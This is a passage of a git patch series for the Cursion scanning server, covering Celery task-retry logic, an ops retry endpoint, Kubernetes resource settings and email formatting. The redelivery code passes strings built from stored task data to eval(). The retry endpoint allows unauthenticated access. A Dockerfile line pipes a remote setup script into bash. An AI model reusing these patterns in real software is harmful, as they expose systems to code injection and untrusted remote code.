         Alerter(alert_id, str(report.id)).run_alert()
 
     # update flowrun 
@@ -1962,8 +2085,8 @@ def run_case(
     ).run()
 
     # run alert if requested
-    if alert_id:
-        Alerter(alert_id, str(caserun.id)).run_alert()
+    if alert_id and alert_id != 'None':
+        Alerter(alert_id=alert_id, object_id=str(caserun.id)).run_alert()
 
     logger.info('Ran CaseRun')
     return None
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 2e66e0ca..a3f26ef7 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -4,7 +4,6 @@
 )
 from ..models import *
 from .alerter import Alerter
-from .tester import Tester
 from .lighthouse import Lighthouse
 from .yellowlab import Yellowlab
 from .imager import Imager
@@ -294,7 +293,7 @@ def check_scan_completion(
     """
     Method that checks if the scan has finished all 
     components. If so, method also updates Scan, Site, 
-    & Page info. If test_id is present, initiates a run_test()
+    & Page info.
 
     Expects: {
         scan: object, 
@@ -360,40 +359,9 @@ def check_scan_completion(
                 'objects': objects
             })
 
-        # start Test if test_id present
-        if test_id is not None:
-
-            # update flowrun
-            if flowrun_id and flowrun_id != 'None':
-                time.sleep(random.uniform(0.1, 5))
-                update_flowrun(**{
-                    'flowrun_id': str(flowrun_id),
-                    'node_index': node_index,
-                    'message': f'starting test comparison algorithm for {scan.page.page_url} | test_id: {str(test_id)}',
-                    'objects': objects
-                })
-            
-            print('\n---------------\nScan Complete\nStarting Test...\n---------------\n')
-            test = Test.objects.get(id=test_id)
-            updated_test = Tester(test=test).run_test()
-
-            # update flowrun
-            if flowrun_id and flowrun_id != 'None':
-                objects[-1]['status'] = updated_test.status
-                update_flowrun(**{
-                    'flowrun_id': str(flowrun_id),
-                    'node_index': node_index,
-                    'message': (
-                        f'test for {scan.page.page_url} completed with status: '+
-                        f'{"❌ FAILED" if updated_test.status == 'failed' else "✅ PASSED"} | test_id: {str(test_id)}'
-                    ),
-                    'objects': objects
-                })
-            
         if alert_id is not None and alert_id != 'None':
             print('running alert from `cursion.check_scan_completion`')
-            obj_id = test_id if test_id else str(scan.id)
-            Alerter(alert_id=alert_id, object_id=obj_id).run_alert()
+            Alerter(alert_id=alert_id, object_id=str(scan.id)).run_alert()
 
     # returning scan
     return scan
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index cdfc1e84..2330a00a 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -21,7 +21,7 @@ class Tester():
         'test' : object,
     }
 
-    Use self.run_test() to create a new Test
+    Use self.run_test() to run all Test components
 
     Returns -> `Test` object
     """
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index b7e604ab..31fc8570 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -380,6 +380,29 @@ def site_in_sites(id) -> bool:
 
 
 
+def retry_failed_tasks(request: object=None) -> object:
+    """ 
+    Using `tasks.redeliver_failed_tasks()`, retries any
+    "failed" task that has not reached MAX_ATTEMPTS.
+
+    Expects: {
+        'request': object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # init rety 
+    redeliver_failed_tasks()
+
+    # return response
+    data = {'message': 'redelivered failed tasks'}
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Site Services ------ ###
 
 
@@ -2089,30 +2112,6 @@ def get_scans_zapier(request: object=None) -> object:
 
 
 
-def retry_failed_scans(request: object=None) -> object:
-    """ 
-    Using `tasks.redeliver_failed_tasks()`, retries any
-    `Scan` component that has "failed" and has not reached
-    MAX_ATTEMPTS.
-
-    Expects: {
-        'request': object
-    }
-
-    Returns -> HTTP Response object
-    """
-
-    # init rety 
-    redeliver_failed_tasks()
-
-    # return response
-    data = {'message': 'redelivered failed tasks'}
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
-
-
-
-
 ### ------ Begin Test Services ------ ###
 
 
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index e21ae10e..8f80e3a1 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -3,6 +3,7 @@
 
 
 urlpatterns = [
+    path('tasks/retry', views.TasksRetry.as_view(), name='tasks-retry'),
     path('site', views.Sites.as_view(), name='site'),
     path('site/<uuid:id>', views.SiteDetail.as_view(), name='site-detail'),
     path('site/<uuid:id>/crawl', views.SiteCrawl.as_view(), name='site-crawl'),
@@ -18,7 +19,6 @@
     path('scans/delete', views.ScansDelete.as_view(), name='scans-delete'),
     path('scans/create', views.ScansCreate.as_view(), name='scans-create'),
     path('scans/zapier', views.ScansZapier.as_view(), name='scans-zapier'),
-    path('scans/retry', views.ScansRetry.as_view(), name='scans-retry'),
     path('test', views.Tests.as_view(), name='test'),
     path('test/<uuid:id>', views.TestDetail.as_view(), name='test-detail'),
     path('test/<uuid:id>/lean', views.TestLean.as_view(), name='test-lean'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 097e67aa..25e4e147 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -20,6 +20,22 @@
 
 
 
+### ------ Begin Task Views ------ ###
+
+
+
+
+class TasksRetry(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['get']
+
+    def get(self, request):
+        response = retry_failed_tasks(request)
+        return response
+
+
+
+
 ### ------ Begin Site Views ------ ###
 
 
@@ -228,17 +244,6 @@ def get(self, request):
 
 
 
-class ScansRetry(APIView):
-    permission_classes = (AllowAny,)
-    http_method_names = ['get']
-
-    def get(self, request):
-        response = retry_failed_scans(request)
-        return response
-
-
-
-
 ### ------ Begin Test Views ------ ###
 
 
diff --git a/k8s/prod/app-deployment.yaml b/k8s/prod/app-deployment.yaml
index 7d115be5..97654ae6 100644
--- a/k8s/prod/app-deployment.yaml
+++ b/k8s/prod/app-deployment.yaml
@@ -33,11 +33,11 @@ spec:
                   fieldPath: metadata.name
           resources:
             limits:
-              cpu: "2"
-              memory: "4Gi"
-            requests:
               cpu: "1"
-              memory: "1Gi"
+              memory: "2.5Gi"
+            requests:
+              cpu: "0.75"
+              memory: "1.5Gi"
 ---
 
 apiVersion: v1
diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 858da464..929d3a8a 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -24,7 +24,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # cursiondev/server:af04732 # 
+          image: <IMAGE> # cursiondev/server:397d14c #
           imagePullPolicy: IfNotPresent
           command: ["/entrypoint.sh", "celery"]
           envFrom:
@@ -35,13 +35,20 @@ spec:
               valueFrom:
                 fieldRef:
                   fieldPath: metadata.name
-          resources:
+          # resources:  # -> large node pool (4vcpu & 8Gi)
+          #   limits:
+          #     cpu: "2"
+          #     memory: "6Gi"
+          #   requests:
+          #     cpu: "1"
+          #     memory: "4Gi"
+          resources:   # -> small node pool (2vcpu & 4Gi)
             limits:
-              cpu: "2"
-              memory: "6Gi"
-            requests:
               cpu: "1"
-              memory: "4Gi"
+              memory: "2.5Gi"
+            requests:
+              cpu: "0.75"
+              memory: "1.5Gi"
           lifecycle:
             preStop:
               exec:
@@ -56,5 +63,5 @@ spec:
             exec:
               command: ["/healthcheck.sh", "celery"]
             initialDelaySeconds: 120
-            periodSeconds: 20
+            periodSeconds: 30
             failureThreshold: 3
\ No newline at end of file
diff --git a/k8s/prod/tasks-cronjob.yml b/k8s/prod/tasks-cronjob.yml
index c5e4542f..24faeaf3 100644
--- a/k8s/prod/tasks-cronjob.yml
+++ b/k8s/prod/tasks-cronjob.yml
@@ -16,5 +16,5 @@ spec:
             args:
             - /bin/sh
             - -c
-            - curl -X GET https://api.cursion.dev/v1/ops/scans/retry
+            - curl -X GET https://api.cursion.dev/v1/ops/tasks/retry
           restartPolicy: OnFailure

From 0cf197d4f638b7fd8e99957ec995c2778bcab533 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 16 Apr 2025 09:40:45 -0600
Subject: [PATCH 0908/1099] fix: account reset task corrected for `str`
 comparison

---
 app/api/tasks.py | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index a6a7e0b1..7424b25c 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2832,19 +2832,22 @@ def reset_account_usage(account_id: str=None) -> None:
 
     # reset account.usage
     def reset_usage(account) -> None:
+        
         # update usage
         account.usage['scans'] = 0
         account.usage['tests'] = 0
         account.usage['caseruns'] = 0
         account.usage['flowruns'] = 0
-        account.usage['flowruns_allowed'] = 5 # TODO: remove after manual update
+
         # update meta
         meta = account.meta
         meta['last_usage_reset'] = today.strftime(f)
         account.meta = meta
         account.save()
-        return None
 
+        # log action
+        print(f'reset account "{account.name}" usage')
+        return None
 
     # loop through each
     for account in accounts:
@@ -2866,7 +2869,7 @@ def reset_usage(account) -> None:
             # reset accout usage if today is 
             # begining of sub payment peroid
             # OR if a specific account was requested
-            if today == sub_date or account_id is not None:
+            if today_str == sub_date or account_id is not None:
 
                 # reset usage
                 reset_usage(account)

From 5c374d41cbf7d44ef2b7e5c38f2a7621f22e2290 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 16 Apr 2025 10:24:45 -0600
Subject: [PATCH 0909/1099] fix: increased wait-time for healthcheck response

---
 k8s/prod/celery-deployment.yaml | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/k8s/prod/celery-deployment.yaml b/k8s/prod/celery-deployment.yaml
index 929d3a8a..fa408e1b 100644
--- a/k8s/prod/celery-deployment.yaml
+++ b/k8s/prod/celery-deployment.yaml
@@ -24,7 +24,7 @@ spec:
         - name: regcred
       containers:
         - name: celery
-          image: <IMAGE> # cursiondev/server:397d14c #
+          image: <IMAGE> # cursiondev/server:6799236 #
           imagePullPolicy: IfNotPresent
           command: ["/entrypoint.sh", "celery"]
           envFrom:
@@ -57,11 +57,11 @@ spec:
             exec:
               command: ["/healthcheck.sh", "celery"]
             initialDelaySeconds: 120
-            periodSeconds: 30
-            failureThreshold: 5
+            periodSeconds: 60
+            failureThreshold: 12
           readinessProbe:
             exec:
               command: ["/healthcheck.sh", "celery"]
             initialDelaySeconds: 120
-            periodSeconds: 30
-            failureThreshold: 3
\ No newline at end of file
+            periodSeconds: 60
+            failureThreshold: 12
\ No newline at end of file

From b7809ddfda74de9a105c955ea49c2553000bdbdf Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 17 Apr 2025 12:17:07 -0600
Subject: [PATCH 0910/1099] fix: moved `record_task` to utils for better access

---
 app/api/utils/manager.py | 82 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 82 insertions(+)
 create mode 100644 app/api/utils/manager.py

diff --git a/app/api/utils/manager.py b/app/api/utils/manager.py
new file mode 100644
index 00000000..0469cb1a
--- /dev/null
+++ b/app/api/utils/manager.py
@@ -0,0 +1,82 @@
+from ..models import *
+from cursion import settings
+
+
+
+
+
+
+def record_task(
+        resource_type: str=None, 
+        resource_id: str=None, 
+        task_id: str=None, 
+        task_method: str=None, 
+        **kwargs,
+    ) -> bool:
+
+    """ 
+    Records task information in the `resource.system` 
+    attribute.
+
+    Expects: {
+        'resource_type' : str (scan, test, caserun)
+        'resource_id'   : str 
+        'task_id'       : str 
+        'task_method'   : str
+        'kwargs'        : dict
+    }
+    
+    Returns: max_attempts_reached <bool>
+    """
+
+    # set default 
+    max_atttempts_reached = False
+
+    # get resource 
+    if resource_type == 'scan':
+        resource = Scan.objects.get(id=resource_id)
+    if resource_type == 'test':
+        resource = Test.objects.get(id=resource_id)
+    if resource_type == 'caserun':
+        resource = CaseRun.objects.get(id=resource_id)
+
+    # get current resoruce.system.tasks data
+    tasks = resource.system.get('tasks', [])
+
+    # get component based on task_name
+    component = task_method.replace('run_', '').replace('_bg', '').replace('_and_logs', '')
+
+    # check if task exists
+    i = 0
+    exists = False
+    for task in tasks:
+        if task['component'] == component:
+            # update existing task
+            tasks[i]['task_id']     = str(task_id)
+            tasks[i]['attempts']    += 1
+            max_atttempts_reached   = True if (tasks[i]['attempts'] >= settings.MAX_ATTEMPTS) else False
+            exists                  = True
+        i += 1
+
+    # append new task data
+    if not exists:
+        tasks.append({
+            'attempts'      : int(1),
+            'task_id'       : str(task_id),
+            'task_method'   : str(task_method),
+            'component'     : str(component),
+            'kwargs'        : kwargs.get('kwargs'),
+        })
+
+    # update resource with new system data
+    resource.system['tasks'] = tasks
+    resource.save()
+
+    # return
+    return max_atttempts_reached
+
+
+
+
+
+

From ed33b3e15831326e2720b39cef60e5462a112fc0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 17 Apr 2025 12:17:53 -0600
Subject: [PATCH 0911/1099] update: removed `post_scan_completed` signal

---
 app/api/signals.py | 29 -----------------------------
 1 file changed, 29 deletions(-)

diff --git a/app/api/signals.py b/app/api/signals.py
index e65aeccf..033c9c68 100644
--- a/app/api/signals.py
+++ b/app/api/signals.py
@@ -61,32 +61,3 @@ def case_created(sender, instance, created, **kwargs):
 
 
 
-@receiver(post_save, sender=Scan)
-def post_scan_completed(sender, instance, created, **kwargs):
-    
-    # defing instance as Scan
-    scan = instance
-    
-    # check location & created
-    if settings.LOCATION == 'us' and not created:
-
-        # check scan.time_completed & Test association
-        if scan.time_completed and Test.objects.filter(post_scan=scan).exists():
-
-            # build args from scan.system data
-            alert_id    = scan.system['tasks'][0]['kwargs'].get('alert_id')
-            flowrun_id  = scan.system['tasks'][0]['kwargs'].get('flowrun_id')
-            node_index  = scan.system['tasks'][0]['kwargs'].get('node_index')
-            
-            # start new Test run
-            test = Test.objects.filter(post_scan=scan)[0]
-            run_test.delay(
-                test_id     = str(test.id),
-                alert_id    = alert_id,
-                flowrun_id  = flowrun_id,
-                node_index  = node_index
-            )
-        
-
-    # return None
-    return None    

From 1dfb4d4e5397c8a9a6ee86e57113453b92bacbf8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 17 Apr 2025 12:18:52 -0600
Subject: [PATCH 0912/1099] update: added `record_task` to track `Tester()`

---
 app/api/utils/scanner.py | 74 +++++++++++++++++++++++++++++++++++-----
 1 file changed, 65 insertions(+), 9 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index a3f26ef7..5cd7b416 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -8,6 +8,8 @@
 from .yellowlab import Yellowlab
 from .imager import Imager
 from .updater import update_flowrun
+from .manager import record_task
+from .tester import Tester
 from datetime import datetime
 from cursion import settings
 import os, asyncio, uuid, boto3, random, time
@@ -284,7 +286,8 @@ def save_html(html: str, scan: object) -> object:
 
 
 def check_scan_completion(
-        scan: object, 
+        scan: object,
+        sender: str=None, 
         test_id: str=None, 
         alert_id: str=None,
         flowrun_id: str=None, 
@@ -296,9 +299,12 @@ def check_scan_completion(
     & Page info.
 
     Expects: {
-        scan: object, 
+        scan: object,
+        sender: str,
         test_id: str,
         alert_id: str
+        flowrun_id: str, 
+        node_index: str
     }
 
     Returns -> `Scan` <obj>
@@ -333,8 +339,7 @@ def check_scan_completion(
 
     # deciding if done
     if finished is True:
-        time_completed = datetime.now()
-        scan.time_completed = time_completed
+        scan.time_completed = datetime.now()
         scan.save()
 
         # update assoc site, page, & scan score
@@ -359,9 +364,60 @@ def check_scan_completion(
                 'objects': objects
             })
 
+        # start Test if test_id present
+        if test_id is not None:
+
+            # update flowrun
+            if flowrun_id and flowrun_id != 'None':
+                time.sleep(random.uniform(0.1, 5))
+                update_flowrun(**{
+                    'flowrun_id': str(flowrun_id),
+                    'node_index': node_index,
+                    'message': f'starting test comparison algorithm for {scan.page.page_url} | test_id: {str(test_id)}',
+                    'objects': objects
+                })
+ 
+            # get task_id from scan.system
+            task_id = None
+            for task in scan.system['tasks']:
+                if task.get('component') == sender:
+                    task_id = task.get('task_id')
+
+            # record task data in test
+            record_task(
+                resource_type='test',
+                resource_id=str(test_id),
+                task_id=str(task_id),
+                task_method='run_test',
+                kwargs={
+                    'test_id': str(test_id), 
+                    'alert_id': str(alert_id) if alert_id is not None else None,
+                    'flowrun_id': str(flowrun_id) if flowrun_id is not None else None,
+                    'node_index': str(node_index) if node_index is not None else None
+                }
+            )
+            
+            print('\n---------------\nScan Complete\nStarting Test...\n---------------\n')
+            test = Test.objects.get(id=test_id)
+            updated_test = Tester(test=test).run_test()
+
+            # update flowrun
+            if flowrun_id and flowrun_id != 'None':
+                objects[-1]['status'] = updated_test.status
+                update_flowrun(**{
+                    'flowrun_id': str(flowrun_id),
+                    'node_index': node_index,
+                    'message': (
+                        f'test for {scan.page.page_url} completed with status: '+
+                        f'{"❌ FAILED" if updated_test.status == 'failed' else "✅ PASSED"} | test_id: {str(test_id)}'
+                    ),
+                    'objects': objects
+                })
+            
         if alert_id is not None and alert_id != 'None':
             print('running alert from `cursion.check_scan_completion`')
-            Alerter(alert_id=alert_id, object_id=str(scan.id)).run_alert()
+            obj_id = test_id if test_id else str(scan.id)
+            Alerter(alert_id=alert_id, object_id=obj_id).run_alert()
 
     # returning scan
     return scan
@@ -456,7 +512,7 @@ def _html_and_logs(
         })
 
     # checking if scan is done
-    scan = check_scan_completion(scan, test_id, alert_id, flowrun_id, node_index)
+    scan = check_scan_completion(scan, 'html', test_id, alert_id, flowrun_id, node_index)
 
     # return udpated scan
     return scan
@@ -533,7 +589,7 @@ def _vrt(
         })
 
     # checking if scan is done
-    scan = check_scan_completion(scan, test_id, alert_id, flowrun_id, node_index)
+    scan = check_scan_completion(scan, 'vrt', test_id, alert_id, flowrun_id, node_index)
 
     # returning updated scan
     return scan
@@ -607,7 +663,7 @@ def _lighthouse(
         })
 
     # checking if scan is done
-    scan = check_scan_completion(scan, test_id, alert_id, flowrun_id, node_index)
+    scan = check_scan_completion(scan, 'lighthouse', test_id, alert_id, flowrun_id, node_index)
 
     # returning updated scan
     return scan
@@ -681,7 +737,7 @@ def _yellowlab(
         })
 
     # checking if scan is done
-    scan = check_scan_completion(scan, test_id, alert_id, flowrun_id, node_index)
+    scan = check_scan_completion(scan, 'yellowlab', test_id, alert_id, flowrun_id, node_index)
 
     # returning updated scan
     return scan

From cecc0f6abca25f39369b0f1ad28c0617e119a120 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 17 Apr 2025 12:19:34 -0600
Subject: [PATCH 0913/1099] update: increased edge-case handling

---
 app/api/tasks.py | 164 ++++++++++++++++++++++-------------------------
 1 file changed, 78 insertions(+), 86 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 7424b25c..61d9c291 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -18,6 +18,7 @@
 from .utils.alerts import *
 from .utils.updater import update_flowrun
 from .utils.meter import meter_account
+from .utils.manager import record_task
 from .models import *
 from django.contrib.auth.models import User
 from django.utils import timezone
@@ -193,85 +194,15 @@ def update_schedule(task_id: str=None) -> None:
 
 
 
-def record_task(
-        resource_type: str=None, 
-        resource_id: str=None, 
-        task_id: str=None, 
-        task_method: str=None, 
-        **kwargs,
-    ) -> bool:
-
-    """ 
-    Records task information in the `resource.system` 
-    attribute.
-
-    Expects: {
-        'resource_type' : str (scan, test, caserun)
-        'resource_id'   : str 
-        'task_id'       : str 
-        'task_method'   : str
-        'kwargs'        : dict
-    }
-    
-    Returns: max_attempts_reached <bool>
-    """
-
-    # set default 
-    max_atttempts_reached = False
-
-    # get resource 
-    if resource_type == 'scan':
-        resource = Scan.objects.get(id=resource_id)
-    if resource_type == 'test':
-        resource = Test.objects.get(id=resource_id)
-    if resource_type == 'caserun':
-        resource = CaseRun.objects.get(id=resource_id)
-
-    # get current resoruce.system.tasks data
-    tasks = resource.system.get('tasks', [])
-
-    # get component based on task_name
-    component = task_method.replace('run_', '').replace('_bg', '').replace('_and_logs', '')
-
-    # check if task exists
-    i = 0
-    exists = False
-    for task in tasks:
-        if task['component'] == component:
-            # update existing task
-            tasks[i]['task_id'] = str(task_id)
-            tasks[i]['attempts'] += 1
-            max_atttempts_reached = True if (tasks[i]['attempts'] > settings.MAX_ATTEMPTS) else False
-            exists = True
-        i += 1
-
-    # append new task data
-    if not exists:
-        tasks.append({
-            'attempts': int(1),
-            'task_id': str(task_id),
-            'task_method': str(task_method),
-            'component': str(component),
-            'kwargs': kwargs.get('kwargs'),
-        })
-
-    # update resource with new system data
-    resource.system['tasks'] =  tasks
-    resource.save()
-
-    # return
-    return max_atttempts_reached
-
-
-
-
 @shared_task()
 def redeliver_failed_tasks() -> None:
     """ 
     Check each un-completed resource (Scans & Tests) 
     for any celery tasks which are no longer executing & 
     associated resource.component is null. Once found, 
-    re-run those specific tasks with saved kwargs.
+    re-run those specific tasks with saved kwargs. If 
+    resource appears complete but is not marked as such, 
+    update `.time_completed` with `datetime.now()`
 
     Expects: None
     
@@ -302,6 +233,12 @@ def redeliver_failed_tasks() -> None:
             continue
 
         # check each task in system['tasks']
+        task_count  = 0
+        test_id     = None
+        alert_id    = None
+        flowrun_id  = None
+        node_index  = None
+        components  = []
         for task in scan.system.get('tasks', []):
 
             # get scan.{component} data
@@ -314,6 +251,15 @@ def redeliver_failed_tasks() -> None:
             if task['component'] == 'html':
                 component = scan.html
             
+            # record components
+            components.append(task['component'])
+
+            # try to get args
+            test_id     = task['kwargs'].get('test_id')
+            alert_id    = task['kwargs'].get('alert_id')
+            flowrun_id  = task['kwargs'].get('flowrun_id')
+            node_index  = task['kwargs'].get('node_index')
+            
             # re-run task if not in executing_tasks &
             # scan.{component} is None
             if task['task_id'] not in executing_tasks and component is None:
@@ -322,8 +268,46 @@ def redeliver_failed_tasks() -> None:
                 if task['attempts'] < settings.MAX_ATTEMPTS:
                     print(f're-running -> {task["task_method"]}.delay(**{task["kwargs"]})')
                     eval(f'{task["task_method"]}.delay(**{task["kwargs"]})')
+                    task_count += 1
+
+        # try to get test_id
+        if not test_id and Test.objects.filter(post_scan=scan, time_completed=None).exists():
+            test_id = Test.objects.filter(post_scan=scan, time_completed=None)[0].id
+
+        # check for requested, and not recorded, components:
+        for comp in scan.type:
+            if comp not in components and comp != 'logs':
+                # building args
+                task = f"run_{comp.replace('html', 'html_and_logs')}_bg"
+                kwargs = {
+                    "scan_id": str(scan.id),
+                    "test_id": str(test_id),
+                    "alert_id": alert_id,
+                    "flowrun_id": flowrun_id,
+                    "node_index": node_index
+                }
+                # run task
+                print(f'running -> {task}.delay(**{kwargs})')
+                eval(f'{task}.delay(**{kwargs})')
+                task_count += 1
+        
+        # mark scan complete if no tasks were re-run
+        if task_count == 0 and len(scan.system.get('tasks', [])) > 0:
+            print(f'marking scan as complete')
+            scan.time_completed = datetime.now()
+            scan.save()
+
+            # execute `run_test()` if test_id present
+            if test_id:
+                print(f'executing run_test() from `post_scan` in `retry_tasks`')
+                run_test.delay(
+                    test_id=str(test_id),
+                    alert_id=alert_id,
+                    flowrun_id=flowrun_id,
+                    node_index=node_index
+                )  
         
-     # iterate through each test and re-run if failed
+    # iterate through each test and re-run if failed
     for test in tests:
 
         # check for localization
@@ -331,15 +315,27 @@ def redeliver_failed_tasks() -> None:
             continue
 
         # check each task in system['tasks']
+        task_count = 0
         for task in test.system.get('tasks', []):
             
             # re-run task if not in executing_tasks
             if task['task_id'] not in executing_tasks:
+
+                # check for post_scan completion
+                if not test.post_scan.time_completed:
+                    print('post_scan not complete skipping test re-run...')
+                    continue
                 
                 # check for max attempts
                 if task['attempts'] < settings.MAX_ATTEMPTS:
                     print(f're-running -> {task["task_method"]}.delay(**{task["kwargs"]})')
                     eval(f'{task["task_method"]}.delay(**{task["kwargs"]})')
+                    task_count += 1
+        
+        # mark test complete if no tasks were re-run
+        if task_count == 0 and len(test.system.get('tasks', [])) > 0:
+            test.time_completed = datetime.now()
+            test.save()
 
     return None
 
@@ -703,12 +699,11 @@ def update_scan_score(self, scan_id: str) -> None:
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def scan_page_bg(
         self, 
-        scan_id: str=None, 
-        test_id: str=None, 
-        alert_id: str=None, 
-        configs: dict=settings.CONFIGS,
-        flowrun_id: str=None,
-        node_index: str=None,
+        scan_id     : str=None, 
+        test_id     : str=None, 
+        alert_id    : str=None, 
+        flowrun_id  : str=None,
+        node_index  : str=None,
     ) -> None:
     """ 
     Runs all the requested `Scan` components 
@@ -763,7 +758,7 @@ def scan_page_bg(
             node_index=node_index,
         )
 
-    logger.info('created new Scan of Page')
+    logger.info('started scan component tasks')
     return None
 
 
@@ -952,7 +947,6 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                 scan_page_bg.delay(
                     scan_id=str(scan.id),
                     alert_id=alert_id,
-                    configs=configs,
                     flowrun_id=flowrun_id,
                     node_index=node_index
                 )
@@ -1354,7 +1348,7 @@ def run_test(
             })
 
         # execute test
-        print('\n---------------\nScan Complete\nStarting Test...\n---------------\n')
+        print('\n---------------\nStarting Test...\n---------------\n')
         test = T(test=test).run_test()
 
         # update FlowRun if passed
@@ -1462,8 +1456,7 @@ def create_test(
                     configs=configs,
                 )
                 scan_page_bg.delay(
-                    scan_id=new_scan.id, 
-                    configs=configs,
+                    scan_id=new_scan.id,
                 )
 
                 # update flowrun
@@ -1531,7 +1524,6 @@ def create_test(
             scan_id=post_scan.id, 
             test_id=created_test.id,
             alert_id=alert_id,
-            configs=configs,
             flowrun_id=flowrun_id,
             node_index=node_index
         )

From e48eb876188a4695fb263ffded9e08303671bb0e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 17 Apr 2025 13:41:59 -0600
Subject: [PATCH 0914/1099] routine: updated status badge

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 0a4aba20..733e5f00 100644
--- a/README.md
+++ b/README.md
@@ -18,7 +18,7 @@
     </a>
     <img src='https://img.shields.io/github/commit-activity/m/cursion-dev/server/main?style=for-the-badge'/>
     <a href='https://github.com/cursion-dev/server/actions'>
-      <img alt="GitHub Actions Workflow Status" src="https://img.shields.io/github/actions/workflow/status/cursion-dev/server/k8s-deploy.yaml?style=for-the-badge&label=BUILD STATUS">
+     <img alt="GitHub Actions Workflow Status" src="https://img.shields.io/github/actions/workflow/status/cursion-dev/server/k8s-deploy.yaml?style=for-the-badge&label=build%20status"/>
     </a>
 </p>
 

From 233bbb5070d33e5542b75bc6de51b71bfbe46789 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 25 Apr 2025 10:02:15 -0600
Subject: [PATCH 0915/1099] fix: typing issue in `sendgrid_email()`

---
 app/api/utils/alerts.py | 48 ++++++++++++++++++++---------------------
 1 file changed, 24 insertions(+), 24 deletions(-)

diff --git a/app/api/utils/alerts.py b/app/api/utils/alerts.py
index 1c9eab52..eb4919bb 100644
--- a/app/api/utils/alerts.py
+++ b/app/api/utils/alerts.py
@@ -781,18 +781,18 @@ def sendgrid_email(
     """
 
     # defining data
-    plain_text = message_obj.get('plain_text', False)
-    pre_content = message_obj.get('pre_content')
-    content = message_obj.get('content')
-    subject = message_obj.get('subject', 'Alert from Cursion')
-    title = message_obj.get('title')
-    pre_header = message_obj.get('pre_header')
-    button_text = message_obj.get('button_text')
-    email = message_obj.get('email')
-    exp_list = message_obj.get('exp_list')
-    object_url = message_obj.get('object_url')
-    signature = message_obj.get('signature', '- Cheers!')
-    greeting = message_obj.get('greeting', 'Hi there,')
+    plain_text      = message_obj.get('plain_text', False)
+    pre_content     = message_obj.get('pre_content', '')
+    content         = message_obj.get('content', '')
+    subject         = message_obj.get('subject', 'Alert from Cursion')
+    title           = message_obj.get('title', '')
+    pre_header      = message_obj.get('pre_header', '')
+    button_text     = message_obj.get('button_text')
+    email           = message_obj.get('email')
+    exp_list        = message_obj.get('exp_list')
+    object_url      = message_obj.get('object_url')
+    signature       = message_obj.get('signature', '- Cheers!')
+    greeting        = message_obj.get('greeting', 'Hi there,')
 
     if account_id:
         # get account & secrets
@@ -807,22 +807,22 @@ def sendgrid_email(
         subject = transpose_data(subject, obj, secrets)
 
         # replacing '\n' with <br>
-        content = content.replace('\n', '<br>')
+        content     = content.replace('\n', '<br>')
         pre_content = pre_content.replace('\n', '<br>')
 
     # build template data
     template_data = {
-        'greeting': greeting,
-        'title' : title,
-        'pre_header' : pre_header,
-        'pre_content' : pre_content,
-        'object_url' : object_url,
-        'exp_list': exp_list,
-        'home_page' : settings.LANDING_URL_ROOT,
-        'button_text' : button_text,
-        'content' : content,
-        'signature' : signature,
-        'subject': subject,
+        'greeting'      : greeting,
+        'title'         : title,
+        'pre_header'    : pre_header,
+        'pre_content'   : pre_content,
+        'object_url'    : object_url,
+        'exp_list'      : exp_list,
+        'home_page'     : settings.LANDING_URL_ROOT,
+        'button_text'   : button_text,
+        'content'       : content,
+        'signature'     : signature,
+        'subject'       : subject,
     }
 
     # decide which template to use based on data

From 90c1e02994f5c706c3852d8063b80a39951a6b56 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Fri, 25 Apr 2025 15:47:44 -0600
Subject: [PATCH 0916/1099] fix: version locking LH

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 79eadf91..079b4de0 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -73,7 +73,7 @@ RUN curl -fsSL https://deb.nodesource.com/setup_current.x | bash - && \
     n lts
 
 # installing lighthouse & lighthouse-plugin-crux
-RUN npm install -g lighthouse lighthouse-plugin-crux
